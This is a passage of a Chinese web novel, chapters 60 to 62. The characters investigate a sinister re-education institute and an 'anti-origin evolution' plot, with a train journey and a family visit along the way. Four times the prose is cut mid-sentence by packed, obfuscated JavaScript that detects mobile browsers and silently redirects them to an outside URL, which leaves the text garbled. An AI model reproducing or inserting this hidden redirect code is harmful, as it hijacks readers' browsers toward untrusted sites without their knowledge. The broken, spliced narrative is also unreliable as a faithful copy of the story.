RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187351|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区,公民们一如往常地各自做各自的事,走该走的路,表演、卖艺,一个不差,笑声一阵阵传来。过了这道门,一切萧索、一切纷争都好像是瞬眼的错觉。 时咎喃喃道:“真魔幻啊。” 物阜民安的另一面到底是什么?这扇门如同一座蜿蜒崎岖高耸入云的墙,隔开的不止是世界中心与城市。 为什么一定要去教化所不可?时咎本来还在想这个问题,但他忽然意识到,如果不去,谁来背这个打破规则的骂名?如果不改造,那些小孩怎么处理?不进化,被文明排斥;进化,可能死亡。 公民只会认为,检测不合格是自己孩子的问题,而教化所是重生的可能性,这一切信息,都在思维传导里完成了,所以没有人怀疑。极致的信或不信,都是盲从。 四个人互相看向对方,一段时间里相处产生的默契无声蔓延,好像谁也不需要说话,就知道接下来要做什么。 片刻,时咎无奈地抬起手耸肩:“我先说,沉皑做什么我做什么。我很赞同他之前说过的一句话,毫不知情也许还能装清白,但是我知道了,我就有权利选择,虽然我是……啧,总之,我不想置身事外!” 沉皑拍了拍他的肩,平淡道:“嗯。” 季山月还是怒气冲冲,但听到时咎的话很快冷静下来,他“嘁”了一声,不耐烦道:“我忍不了,我必须查,就算我死了我都要从舟之覆的亡灵大军里蹦出来接着查,更何况我还没死。再去恩德诺找几个能力强自身强的,打得过我们的人试试?还有谁可以击碎言威的美梦啊?” 季水风往前走了一步,说:“今天被剿杀的是陌生人,下次就会轮到自己,曾经的阴谋跟我毫无关系,但以后不一定。”她顿了一下,以深呼吸让自己更加坚决。 忽然一个小孩子踢的足球不慎滚到四个人中间,随着一阵快而轻盈的脚步,一个小男孩跑了过来,他一下就窜到四个人中间,抬起头,疑惑地看了一眼他们,奇怪地说:“叔叔阿姨,你们好吓人,好严肃啊。” 说着,他放下了球,从兜里掏了几块糖出来,那几颗糖安然地躺在他的掌心,他笑着说:“不然吃点糖吧,别那么严肃,再困难的事都会过去的,我母亲说的。” 季水风一下笑出来,他蹲下摸摸小孩的头,毫不客气地拿走了他掌心四颗糖,说:“当然会过去的。” 小孩跑远了,四个人一人分到了一颗糖。 季山月不死心,快速剥开糖皮纸含糖进去,又把双手的拳头摆出来了,并瞪了他们一眼。 有点中二,时咎心想,但是在季山月幽怨的目光里还是不情不愿地把拳头伸了过去,季水风犹豫了一下也跟着做了。 “沉皑!”季山月叫道。 沉皑默默伸出拳,将脸撇向另一边。 好,这四人小队什么事还没开始干,心就散了。 五只拳头严丝合缝地碰在一起,如同他们的坚决。 四个人决定兵分两路,沉皑带着时咎回一趟沉家,从沉家和言家的历史遗留入手,季水风季山月则打算回到他们的养父母家,倒查季川泽。 “有事联系。”沉皑说。 季山月不屑:“要你说?” 四人小队各种意义上的就地解散。 60. 第 60 章 时咎跟着沉皑踏上了最近一趟回沉家的列车。 车上人不多,每个座位也足够宽敞,紫红色的内饰显得格外热情。时咎没行李,只有沉皑装了一个小型登山包,他随意将包放在上方行李架上。 “很远吗?”时咎问,他在思考瞬移过去的这个可能性。 沉皑坐下,将外面的扶手放下来,淡淡说:“还好,十个小时列车十个小时汽车吧。” 时咎闭嘴了。 倒是一个看风景的好时机。时咎想起了之前在图书馆小捷推荐他去旅游,正好,顺其自然得到了机会。 但是看完风景,就会见到沉皑的父母。时咎突然升起了一股见家长的尴尬错觉,他立刻甩头,把这想法甩出大脑。 列车车窗外的风景比上次去监狱的风景吸引人多了,那是荒野,这次是山间与草原。 时咎没有想到这一路这么长,窗外却给了他一个重量级惊喜。 忘记是什么时候开始,他们的列车好像驶过一个很长的山洞,在那个黑暗山洞里,时咎只能看到车窗上自己的倒影,还有一旁微微侧头、好像在闭眼安静睡觉的沉皑。 光线打在隧道墙壁上,越来越多,越来越亮,闷声消失的一瞬间,他看到了一片闪烁微光纯蓝色的湖,湖的另一头是重峦叠嶂,饱和度极高的自然风景,蓝绿叠加,草长莺飞,山下是一大片的绿地草原,一片片棕色的木房子似乎是居民的家,山上也有零零星星好几栋。 过了这片草原,列车上行,便是飘雪。他们沿着一座高山的半山腰行驶,开辟出来的路仅有铁轨宽,趴在窗户上往下看,又是万丈悬崖,激浪流川。 不知道沉皑是什么时候醒的,时咎突然听到他的声音在耳边响起:“好看吗?” 时咎随意回过头,但他不知道沉皑也微微侧身在靠近他的地方看外面的风景,冷不防回身动作太大,回头的瞬间鼻尖触碰到了沉皑的鼻尖,眼睛不设防地让那双深蓝色眼睛直直闯了进来。 他没想到那么近,心里猛然一跳便应急式后退,随后推了一把沉皑,责怪:“你吓我一跳!” 沉皑毫无反应,他坐正身体,正色道:“我不知道你会突然回头。” 时咎当然不会真的怪他,只接着他的问题回答:“好看,我一直在看。” 有山看山,有水看水,有你看你。 这样的想法出来的一瞬间,时咎意识到,在这一路上,即使列车进入隧道,他也把车窗上沉皑的倒影当成了黑暗里最明亮的风景。 他会格外在意沉皑的所有,已经不仅仅是想知道他的故事、想和他一起交流,而是想和他并肩作战,想关注他的一切举动和情绪,出事了会第一时间去关心他的状况,有了决定会做第一个支持他的人。 哎呀……时咎心里不小地自我嘲讽了一下,在沉皑没看到的地方露出一个无可奈何的笑容。 学了二十多年的心理学,最不会的就是自欺欺人、是装不是,又不是傻子,他知道这种心理这是什么。 陷入内心世界的时咎没沉浸太久,突然想起了另一件事。 他支起脑袋四处张望,发现这节列车上没几个人,长时间的旅程让大部分人也沉沉睡去,车厢里安静得出奇。时咎放低音量,用近乎偷偷说话的音调靠近沉皑说:“你之前跟我说的,你的能力是什么?” 他一直很好奇,可是一直没机会问。 沉皑头靠在靠背上,闭上的眼再次睁开,他直视着前排的座位,想了想,又皱眉,似乎找不到什么合适的措辞,他组织了一会儿语言,不确定道:“不像他们那么明确。只是我可以看到半空一直漂浮的某些流动的光,可以依靠颜色区分我的、别人的情绪,可以感知周遭的氛围,好像是某种流动的能量。” 时咎想到了一些事,他挠挠头说:“你这么说……那我以前骂你没情绪真的错怪你了?” 沉皑笑出来,轻轻摇头:“也不算错怪,那会儿没这个能力,确实没什么情绪。” 沉皑慢慢给时咎解释了一番。大致是说,他的能力并不是一开始就有的,而是后天经历某些事后,忽然有一天出现了这个能力,使他能看到身边流动的能量,这些能量以不同颜色的形式存在,也可以理解为某种磁场,充斥在不可见的空间里,万物的磁场、万物的情绪,这些东西像流光一样包围他。 当他心存爱意、善意,万物都能与他建立连接,互相感知、互相传达信息,磁场便明亮宏大,当他消极,那些光就变得晦涩衰败,在他能力最强的时候,这些磁场在一定程度上可以让他预知未来。 时咎不小地吃了一惊,这个能力,跟他想象的,知道的都完全不一样。 沉皑想着,沉思一下说:“其实我也不太完全能明白这个能力的原理究竟是什么,该怎么运用。” 除了能看见那些光,真正用出来的次数屈指可数,用不出来好像只是一种觉察能力,用出来了又觉得非同凡响。 这个时候列车进入了山洞,两个人说话的声音一下明显起来,时咎立刻压低音量:“那你预知过什么未来吗?” “嗯。”沉皑轻声应答,他顿了一下,又想起那些并不愿意回想的事,他说,“预知过一次。” “什么时候?”时咎追问。 沉皑闭上眼,缓缓说:“四年前言威对我进行围剿的时候。” 时咎张了张嘴没说出话。 他果然对沉皑还是知道得太少。 但沉皑并不愿意一直沉浸在那段过去,便尽量用并不太在乎的语气说:“培养了我二十年,到头来我说要走,刚好无意中捡到一个弃婴,就带回去养了……” 时咎记得这件事。 与万物的能量有紧密的交流,沉皑知道每棵植物的悲欢,知道每只飞鸟的路径,知道身边成千上万人心里亦善恶亦对错的思绪,千丝万缕,世间万物都与他有关。 但在那个婴儿刚满两岁不久的时候,言威到底是忍受不了沉皑的出逃,带了亲信对他进行围剿,要他无路可逃,要他一辈子为文明中心鞠躬尽瘁。 那天晚上的天是深红色,沉皑从空气中听到了兵荒马乱的声音,但不过须臾,言威已经拦住了他。 “然后呢?”时咎正襟危坐,担心露出一点怠慢的神情。 沉皑瞥了他一眼,面无表情地说:“然后,我打不过他们,只有跑。” 走投无路,强弩之末,他穿梭在城市里、山间、荒野,在奔逃的最后,用仅剩的力气凝聚了所有的能量护住了那个两岁大的孩子。 以言威的手段,会把他绑回去继续效力,但这个小孩子就不一定能活下来了,所以那个孩子在流动的光与磁场中消失了,一起消失的还有沉皑所有的能力。 他想,如果能保护那条生命,没有能力也罢,他的强大并不得益于能力的加持,本身能力存在的意义也是保护公民。 言威同样追杀过那个小孩,只为了让沉皑彻底死心,但最后都没找到,也就当他早已死亡。 后来的沉皑查过一段时间,看看有没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187352|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有弃婴的新闻,或者孤儿院的消息,但都没找到同期的,无果,最后也放弃了。 “言威以为我被迫只能成为他的得力干将,其实我能力消失的时候,就已经在想我可以申请到起源实验室。”沉皑说,嘴角挂起了一丝嘲讽。 他还要查反起源进化的事,这也正好被他找到契机,言威也是顺势答应了。 幽壑浅蛟,总有出头之日的。 “那,那个小孩如果还活着,应该五六岁了吧。”时咎算了一下。 “嗯。” 时咎叹气。人和人之间的区别就是天差地别,受限于出生、环境、身边的人、周围的事、读过的书、看过的风景、与他人的交流、信息的摄入等等,同样的话并没有完全等同的意思,可人们依然乐此不疲地干涉他人,拿着自己的经验。 如果认知不够高,思维走向的或许就不是高山而是悬崖。而人和人之间大部分的痛苦,都来自于不允许别人做别人。 言威无法接受沉皑对自我的追寻。 沉皑觉得自己几乎已经放下这些事了,因为自从再次遇到时咎起,他的能力逐渐回来,慢慢的,如同绿意盎然先要发芽,姹紫嫣红先要开花。一天一天能感觉到那些久违的情绪侵入肺腑,好像过往只是过往,曾经的悲怆也只是曾经。现在、未来还有更重要的人和事。 若要细想,似乎是某个突如其来、梦到时咎的夜里。 沉皑想偏过头看时咎,却不料时咎也正盯着他。 “看我干什么?”沉皑问。 时咎还觉得奇怪:“干嘛?你不看我怎么知道我在看你?” 沉皑有时候很想把他的嘴堵住。 不再用麻醉剂后,确实少了些可以制裁时咎的办法。有点说不过他,但是体力上扼杀他好像又有点太欺负人。 列车的灯光明晃晃地照着两个人,照得他们的表情在彼此眼里都一览无余。 车窗外是黄昏了,此时列车正好在通过群山,夕阳也正好垂坠在两座葱绿之间,深橘色的阳光透过玻璃更是正好照在沉皑深蓝色的瞳孔里,色彩被调和得像紫色,如同无数紫罗兰摔碎在清冽的冰池。 时咎有些出神,他的思想仿佛跌进了亘古的冰川,蒸发变成雨又坠入无鱼的清潭。 他忘记转头去看窗外的美景,因为他觉得美景已经在眼里。 甚至,忘记了一直这样盯着别人会不会不礼貌,这个念头出现的一瞬间,他想:礼貌不礼貌,我欣赏完再说。 还是沉皑先不自然地挪开视线,想开口让时咎看窗外。 越过群山,是一片无尽的海,是那池清潭顺着河流最终抵达的大海。 沉皑刚张嘴,时咎就出声打断。他的音色有些清透,像愣神间不自觉说出的话,导致每个字都被拉得很长很慢,沉皑见过这样的神情——第一次带他去图书馆,他在外面欣赏整个图书馆的建筑美学时,也是这样,急切得如同崇拜,虔诚得如同信仰。 沉皑震惊于这样的表情,好像万物都只是他眼里汇聚成的光。 他说:“你的眼睛很漂亮,我很喜欢。” 在时咎眼里,被欣赏的就是艺术品,沉皑本身就是艺术品。 接着他又说:“我也很喜……” 话音霎时终止,好像一块帷幕盖住了他此时正欣赏的艺术美感,他强制把自己从主观世界里抽离出来。 久久没有得到下文,沉皑的手指抓着座椅扶手,抓得指尖泛白,面上却淡声淡语:“也很喜欢什么?” 61. 第 61 章 时咎眼睛转了一圈,似乎在紧急思考,随后,他露出一个惯常虚假的笑容说:“也很喜欢这样的眼睛在我的眼眶里,不然你挖出来送我?” 沉皑指尖的血色瞬间回流,他转过头平视前方:“想挺美。” 时咎轻声笑了下,侧过身,将胳膊肘放在扶手上,手则撑着下巴,他眨眨眼、眼含笑意:“沉先生以为我要说什么?” 沉皑不想理他。 “问你呢。”时咎伸出手指戳了下他的胳膊,见沉皑依然不为所动,便故意多戳几下。 戳得沉皑有点心烦,抬手一把抓住那只不安分的手,将他整个手攒在手心里。 时咎不动了,静静保持这个姿势,但那股“我就是故意整你”的神情丝毫不减。 沉皑的手心是温凉的,时咎的手却是热的,那热量又慢慢传导去了沉皑的掌心。 静置几秒,时咎勾起手指,用指尖慢慢划过沉皑的掌心。 他故意的。 沉皑觉得整个手臂都是麻的,实在忍受不了,便主动放开,垂下手,又恢复刚刚的姿态。 于是时咎又去戳他:“能不能回答我?你以为我要说什么?” “你觉得呢?”沉皑皱眉。 时咎假装思索,但并没有思考出结果:“我不知道。” “那你就不知道吧。”沉皑则一直皱着眉,手掌在看不到的地方攥紧得青筋凸起。 听到这个回答,时咎长叹一口气,重新转回身体坐直了。 那心思像停在了这片海,满心欢喜地吹着海风、迎着倒映澄澈的朗月,等待汤加王国的日出,下一秒又置身于萨摩亚的黑夜。 如果有机会,一定要改改他这个藏心事的毛病。 同时另一边。季水风和季山月刚刚从一户人家里出来,在逐渐消失的夕阳里匆匆赶往另一户人家。 阿宲。 季山月默默看着他的养父母给他写的这张纸条上的人名和下面一串地址,嘀咕了半天也不确定,最终还得问出来:“这是我们生母的名字嘛?为什么要叫阿呆啊?” 季水风柔和露出一个惯常的微笑纠正着:“食物的食,同一个音。” 季山月很快扭曲意思:“时咎的时对吧?果然脑子有泡的人的名字都很雷同。” 季山月并不打算尊重他这个所谓的生母。他俩找到他的养父母,问了好大一通终于得知当年就是这个叫阿宲的女人送他来的,他们印象很深刻,是一个打扮非常精致并且高傲的女人,但是并没有说因为什么原因不想要孩子,只想送人,有人愿意要就要吧,正好这家夫妇得知了消息,就收养了季山月。 季山月大步流星地走,一边走一边骂骂咧咧:“反正问到了,就不去你那个垃圾家里了吧。” 季水风轻轻点头。 地址指向了一个巷尾。两个人站在这个巷尾的时候正好碰上清洁站过来收垃圾,刺鼻的味道一下就冲翻天灵盖。 季山月捂着鼻子嫌弃道:“不是说精致高傲的女人吗?住这儿啊?” 这一片区域虽然不算最糟糕的区域,但最多只能算中下,和他养父母的描述不符。 楼道同样逼仄,一栋楼里应该有十来户人家,虽然不大,但楼梯间很干净整洁,白炽灯一丝不苟地亮着,没有难闻的味道,除了楼下正在清理的垃圾味隐隐传上来。 季山月按照地址上楼按响门铃,没过多久便听到脚步声接近,门开了。 一个披头散发的中老年女人,蜡黄的面容,脸上深沟一般的褶皱,她弓耸着背问:“你们找谁?” 季山月再次回忆那个字的读音,信心满满说:“我们来找你的女儿,阿宲。” 女人愣了好半天,才慢慢吐出几个字:“我就是阿宲。” 季山月、季水风:“……” 季山月目瞪口呆,季水风则轻轻拨开季山月,温和地说:“你好,我是季水风,这是季山月,你记得吗?”说是温和,不如说是温和地刺杀之——笑里藏刀。 他们对这个抛弃过他们的女人有敌意。 女人瞬间就屏住呼吸,好像那些古早的记忆在这一刹流窜回大脑。她的瞳孔微微放大,眼光在两个人之间来回扫,黄气过于严重的脸显现不出她其实已经在冒冷汗,也许脸色早已经惨白了。 但她很快又反应过来,这是她的家,她的主场,于是长长出了一口气,假装让自己放松地将背靠在门框上,说:“哦,记得,什么事?季川泽叫你们来的?” 如此明目张胆地承认,看来他们是找对人了。 这个女人明显不欢迎他们,也不屑于季川泽。她的一举一动被季水风看在眼里,作为前安全管理中心领导,看人微表情审讯的事做了太多。于是她也不含糊,开门见山:“我们不是来认亲的,跟季川泽也不熟,只是我们在调查一些事,这些事刚好跟季川泽有关,所以想请您配合一下。”说完季水风才发现自己老毛病犯了,她现在可拿不出安全管理中心的证件。 阿宲乜眼毫不在乎地看向问话的人——一个气质颇佳的女人,挺拔的身子,光是站在这儿就让人感觉非同一般。想到这样端正的气质来自于她的曾经,阿宲突然又心高气傲起来,便没多为难他们,只是有些不耐烦地撇嘴:“赶紧问。” 季水风朝季山月使了个眼色,便径直问她:“我们想知道你和季川泽怎么认识的?你们发生了什么?你知道他多少事?” 一来就是这些陈年旧事,阿宲一听,面部肌肉没控制住抽动,她百无聊赖地回答:“他做什么调研认识的。能发生什么?他追我的时候也没告诉我他成家了,又是掌权者,我当然得答应啊。我俩约好了生孩子,出生了才知道他有家庭,居然还要回归家庭,玩我吗?要不是看在他是掌权者,能带我进文明中心,我跟他在一起干什么?”说起来就是捶胸顿足和后悔,阿宲怎么也没想到,誓言说了,生活有了,他还是走了,还说家里的妻子更重要。 这样的事在恩德诺很少发生,所以当阿宲得知的时候震惊不已。时至今日她依然没明白季川泽是如何做到骗过她的。 “季川泽不想养你们,我也忙,既然你们好好活着,我就不必多想了。”她伸了个懒腰,朝屋子里看了一眼,继续说道,“至于季川泽这个人……也不是什么好人,哦他的妻子很久之后找过我,说她把这个男人送进监狱了,他妻子倒也性情,知道自己丈夫出轨就把他卖了,把他收贿赂的事捅了出去,完了还让我把你们领养回来,可是那个时候我已经过惯了一个人的日子,也就作罢了。” 多余的故事她缄口不言。 两人离开的时候天已经完全黑下去。 作为恩德诺第一大姓,谁也没想过如果自己姓季,会和季雨雪有什么样的关系,后世效仿太多,真假难辨,但他们竟然还真是掌权者那一支的人。 想到这儿又难免唏嘘。 季山月觉得无所谓,他大大咧咧地,同季水风一边走在熙来攘往的街上,一边啃着刚买来的串,含含糊糊地说:“老子才不管什么生母养母,给过我生存资料的我才认,活二十多年也是老子自己活的。” 季水风没有参与他的牢骚,一言不发。 明月高悬,风停云静。两个人准备各自回家,隔天再继续找着手点。 安静街区,偶尔才会路过一个行人,只有道路分岔中间的商店扔在营业。两人正要分开,却被一个挺拔的身影吸引目光,那个身影晃晃悠悠地站着,商店背光看不出他的面容,但那超群的身高、细枝般的身形和慵懒的走路姿势很难认不出是谁。 “这个王八在这儿干什么?”季山月看到他,眉心一跳,就开始觉得晦气,“文明中心不是关了吗?他怎么出来的?” “不知道。”季水风说。 他们都没有打算主动上前问个究竟,而是准备各自离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187353|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,然而那个人目光如炬般一眼就盯住他俩,随后摇摇晃晃地径直朝他们走过来了。 舟之覆高举着手开心同他们打招呼:“嗨宝贝们,看见我为什么不打招呼呢?” 季山月嫌恶地撇开头,季水风则是礼貌性回应:“不好意思,确实没看见。” 舟之覆有些气馁,他觉得不管以自己恩德诺最强能力还是恩德诺最美面容、最完美身高,都不可能出现在人群里不被第一眼看到,毕竟他也是被行了一路瞩目礼过来的。 季山月并不惯着他,粗脾气地说道:“干什么你?别告诉我你闲得在这儿装人体模特。” 舟之覆开口:“当然不是,我在这儿只能是……” “也别告诉我你在这儿专门等我俩,会吐。”季山月打断他说话。如果他得到了这个回答,真的要原地自杀的程度。 然而舟之覆气人的能力不一般,特别是对付季山月这种钢铁直男。他满意点点头,笑得很开心说:“我们真是心有灵犀,我就是在这儿等你们的。” 季山月捂住胸口,再多说一句他就吐舟之覆脸上。 季水风平静说:“有什么事吗?” 舟之覆的目光转到季水风,他侧身做了一个“请”的手势,悄声说:“商店后面有一片小空地,有人在等你们。” 等他们?两人相互对视一眼,谁都没动。 舟之覆嗤笑,他举起双手,无奈道:“行行好两位,如果把我能力削了,我半米都跑不出去,我威胁对你们那么大?想想吧。真有人等你们。” 对于舟之覆这种手无缚鸡之力的人来说,没有亡灵大军就是一张纸片。季水风朝季山月微微点头。 商店后面是一片用于运货的空地,不是货物补充时段,除了一辆货车停着,再没有其他装饰。 甚至连灯光都没有,还是商店内部的大灯透过橱窗照射过来。 舟之覆也没有骗人,确实有人等在那里。 两个人走过去,皆是一愣。 是季川泽。 季川泽见到他们过来,激动得声音控制不住地泄露:“水风!山月!”没控制住的音量在这小片空地里回响。 舟之覆竟然替他们真的召唤出来了季川泽,他到底想做什么?然而当下无暇想这些,季川泽几步走过来,想去触碰他们,一伸手,身体又从他们的身体穿了过去。 季川泽颤颤巍巍的动作看得舟之覆心烦,他制止道:“老头,有话能不能快说?我很忙的。”说完还在嘀咕季川泽这个人怎么莫名其妙的,亡灵大军怎么会有死去的灵魂还能有自我意识和记忆的,他自己都是第一次见。 季水风后退了一步,让季山月挡住自己半个身形,严肃道:“你想说什么?” 季川泽从伤春悲秋里回过神,他咽下了想对两个孩子说的思念,转而切入正题,他吞了一口不存在的口水,声音喑哑地说:“那个时候我是真的很想认你们回来,那天我让你们来文明中心广场,但我在过来见你们的路上被言威抓走了,这一走就是十五年,他把我关了十五年!无时无刻我不在想你们!” 他哽咽道:“十五年后出来被他发放去当运输者,那个时候我才知道教化所竟然……竟然……” “血肉尸体堆积成山,我们的工作也负责整理和掩埋。” “我记得以前的教化所不是这样,那是一个类似于科研院的地方,我不知道怎么变成这样的。” 季水风问:“教化所在哪里?” 季川泽神情茫然,表情呆滞好一会儿,才喃喃道:“不知道,开车到指定的地点,到某个地上,穿过一条小路,那里只有树林和迷雾,周围什么也看不到,穿过迷雾就是了。” “红色的土地,黄沙一样的天,没有日夜没有星空,也没有时间。”季川泽两眼无神看着某处,好像透过这片静谧的夜空望向了那个他去了很多次的、世界上不存在的地方。 62. 第 62 章 季水风皱眉,接着问:“你也不知道教化所为什么会变成这样?” 季川泽的目光再次聚焦在季水风身上,他不确定道:“我不知道,但我听说过一些事,是我还是掌权者的时候无意知道的。你们知道反起源进化吗?” 季水风瞳孔骤缩,她倒吸一口气,自顾自不可置信地轻声说:“反……起源进化?” 是沉皑一直在查的事,一直没有找到确切的线索,难道真和教化所有关? 她焦急往前走了一步,严肃道:“这个到底是什么?” “是……”季川泽张了张嘴。好像变成了亡灵后,很多记忆都要主动去搜寻才能想起,那些记忆深处的事,总需要时间去挖掘。片刻,他“啊”了一声,急切说道:“我记得是什么实验,好像,好像,好像就是制造思维假通道,文明中心的人利用假通道和公民交流,不就是反起源进化吗?” 说着,他好像万分痛苦,椎心泣血、捶胸顿足。他的眼里都是憎恨,咬着牙,随后又像破罐子破摔一般叹气:“作孽,作孽,我们即善良又邪恶,即正直又虚伪,即是男人又是女人,我们的公民已经做到了‘平常’!思维透明意味着你可以是一个一览无余的人,却没有人因为自己没有所谓的秘密而羞耻恐慌焦虑,他们更加坦诚真实,爱就是爱,恨就是恨。” 两百年前,他们的先祖为此付出了巨大的代价,而后世却企图破灭这来之不易的成果。 季川泽的恨意弥漫上来,他喊道说:“文明中心才是那批下等人!利用思维的高墙把自己保护起来,以为安全与高明,实际拙劣又愚蠢!”他随意发泄自己的愤怒。 季山月“嘁”了一声,将他从他的情绪里拉出来,问道:“你得告诉我们反起源进化和教化所有什么关系。” “关系……”季川泽张大嘴巴,不知所以。 天还没亮透,虫鸣鸟叫还没停歇,风吹着海浪与树林一起作响。 老式别墅造在半山腰,往上是茂林修竹的山间森林,出门就可以看到建立在半山临海的小镇,往下走过几道蜿蜒公路能直达海边,沉皑的家就在这旖旎的风景正中央。 “言威啊,我们很久没有来往过了,当年的事知道得不多。”沉皑的母亲走过来,她化着浓妆,大波浪裙和红唇显得格外活泼。她端着一个餐盘,将里面烤得松脆溢香的食物放在小木圆桌上,柔和地对时咎说,“这是佛卡恰,我们家自己烤的面包,旁边有黑松露,还有杜松子酒,不知道合不合你口味,如果不够还有甜品。” “够的,谢谢阿姨!”时咎立刻道谢。 跟想象中完全不一样,时咎没想到沉皑的父母住在这样美好的地方,像夕阳下永恒的拿坡里湾,也没想到自己会被如此热情招待,给他分配到一个临海视野最好的房间。 他们很温柔,也许沉皑温柔起来也是那样。 最令他挪不开眼的,竟然真的也是深蓝色的眼睛,如出一辙。 这个女人是时咎除了沉皑外,在这里见过的第一个同样深蓝色眼睛的人。 沉皑随意拿了点面包吃,没吃两口就放下,严肃道:“很多年前,他们启动了一项计划,叫‘反起源进化’,具体的内容我没查到,我以为你们会知道一些。” 她挪了一把椅子坐到沉皑身边,眼神里有些嗔怪:“这么久不回来,回来就是问这些啊,好吧……” 她深深叹口气,又也只能接受这个样子的沉皑,她的目光转向每日都能聆听到的大海,让记忆随着海风一点点回笼。半晌,她想起了些什么,说道:“你说反起源进化我没听说过,但是沉家上一代很多人确实参加过言霏发起的一个什么计划。” “言霏?”沉皑和时咎异口同声。 时咎感觉在哪里听过这个名字,想了半天,反应过来是言威的父亲,他就是引得公民集体在文明中心游行的导火索。 沉皑的母亲也端起酒,慢慢品尝一口,让酒味在味蕾上流淌开,一边放酒杯一边说:“嗯,叫……叫什么起源改造计划吧,不知道跟你说的这个反起源进化有没有什么关系,不过听上去没什么关系。” 正说着,她想到什么,一拍脑袋,不自觉提高了音量:“我想起来了!就是起源改造计划,那会儿我还很小,掌权者还是言霏,因为起源进化的成功率问题,他邀请了沉家所有的尖端人才去参加他的这个研发,希望可以从八十变到百分之百,不过不知道什么原因,当时沉家的人非常反对,也是拖了很多年,十来年吧,才正式开始。” 时咎狐疑地看向沉皑。 沉家的人会反对这项有利于文明的计划? 后来成功率确实是接近百分百,但不是因为言威设立了合格与不合格两个选项吗?剔除掉带病毒的人自然成功率就高了。如果在言霏掌权者期间,他就在研究如何提高成功率,后来怎么会有言威的进化前检测?除非言霏的这项计划失败了。 沉皑却找到另一个疑点,他不确定地问:“我们家族不是以慈善为主?” 说到这,女人捂着嘴笑出来,看向沉皑的眼神就像在看白痴,她说:“谁跟你说的?历史书上写的?哎呀几岁就跑出去,自家情况都不知道吧?沉家老一辈有很多生物科技领域的顶尖人才,只是咱们不入世,什么成果都不记在自己名下。” 时咎问:“那他们以前在哪儿工作?” 沉皑的母亲眨眼看时咎,又看沉皑,似乎在想这个能不能说,但是一想,也没什么不能说的。她便抬起手指,轻轻放在唇前,小声一字一字说道:“教化所。” 犹如一个晴天霹雳,时咎不可置信地没压抑住声音重复出来:“教化所?!”说完发现自己声音大了,整个人立刻缩回了椅子里。 沉家老一辈的人在教化所工作,舟之覆说教化所是恩德诺最高生物科技所在地,这和沉皑母亲所说的沉家当时有很多顶尖人才是不谋而合的。他们当时在研究病毒剥离,但后来的教化所只是一个生物坟场,那曾经这些沉家人去哪里了? 沉皑紧锁眉头,心里在重建这件事,他问:“你和以前在教化所工作的那些人还有联系吗?” 女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187354|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人摊手耸肩:“我估计啊,大多都去世了,那会我才几岁啊,叫他们都是阿姨爷爷的,不过可惜,好像他们那一代人之后,确实没太多人才了,这下真主要做慈善了。” 在教化所研究病毒剥离并且成功了,所以需要多一道工序去检测,不合格就送去做病毒剥离,虽然麻烦一些,但也未尝不是一个长久的好办法。但为了从源头解决难题:即使是潜在感染者,也不影响进化成功率。为此提出了起源改造计划。 但现在来看,无论是哪一样,都没有它应有的结果:检测不合格直接屠杀;潜在感染者依然影响进化成功率。 那上一代的沉家人到底做了什么?他们去了哪? 问题再一次砸下来。时咎看向沉皑,见他摇摇头。 沉皑的母亲看他俩一直在眼神互动,心生好奇,便问:“你们是很好的朋友还是?” 回答她的是一片沉默。 时咎觉得沉皑肯定会说话的,沉皑觉得时咎必定先抢答,结果两个人都默契闭嘴。 沉皑的母亲:“哦。” 沉皑轻描淡写:“很好的朋友。” 沉皑的母亲漫不经心地点头:“哦,我看他一直在看你。” 时咎径直闭上眼,突然觉得此时此刻过于修罗场,他抿唇,到底没忍住为自己辩护:“那个,我是觉得他的眼睛很好看。” 说到眼睛,她笑出来,说:“这得感谢季雨雪,她在研究思维透明之前其实在研究视力透明,让人可以看穿实物,听说还是沉初光当了她的小白鼠。不过嘛,实验失败了,留了个世代蓝色眼睛的后遗症。” 时咎刚露出诧异的神情。 “叮——” 沉皑的手机响了,他随意接起来,没说话,听了一会儿,就回复了一个字:“嗯。”便挂了。 “怎么了?”时咎问。 沉皑毫不犹豫站起来,把面前的餐盘往里推了一些,用下巴对他示意他:“走了。” 时咎慢慢挪开椅子,问道:“去哪?” 沉皑朝他挥动手机,淡声道:“季水风找季川泽问了点东西出来,给了个坐标,我们现在过去。” “好。” 